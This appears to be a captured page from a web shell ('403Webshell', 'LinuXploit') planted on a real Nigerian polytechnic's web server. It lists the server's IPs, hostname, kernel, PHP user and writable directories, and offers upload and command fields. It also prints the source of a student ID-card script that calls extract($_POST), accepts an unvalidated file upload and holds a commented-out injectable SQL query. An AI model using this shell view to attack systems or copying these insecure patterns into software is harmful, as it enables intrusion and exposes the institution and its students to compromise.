403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.50.62
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/ace_admin_student/idCard_process.php
<?php
session_start();
$matNo=$_SESSION['matNo'];
			  require('../connect.php');
			  extract($_POST);
 $material=$_FILES['user_file1'];
$folder="image/";
$material_name=$_FILES['user_file1']['name'];
$material_type=$_FILES['user_file1']['type'];
$material_tmp=$_FILES['user_file1']['tmp_name'];
$material_size=$_FILES['user_file1']['size'];
$old=$_FILES['user_file1']['tmp_name'];
$new="../signature/Reg".$matNo.".jpg";
move_uploaded_file($old,$new);

$address=str_replace("'","''",$address);
			//  $result=mysql_query("UPDATE `fedpoly`.`realdata` SET `state` = '$txtstate', `lga` = '$lga',`dob` = '$dob',`gsm` = '$gsm',`sex` = '$sex',`address` = '$address',`email` = '$email' WHERE `realdata`.`matNo` ='$matNo'");
			  if ($new){
				  header('location:'.'idCard.php?id=1');
			  }else{
                  header('location:'.'idCard.php?id=2');
			  }
			  
?>

Youez - 2016 - github.com/yon3zu
LinuXploit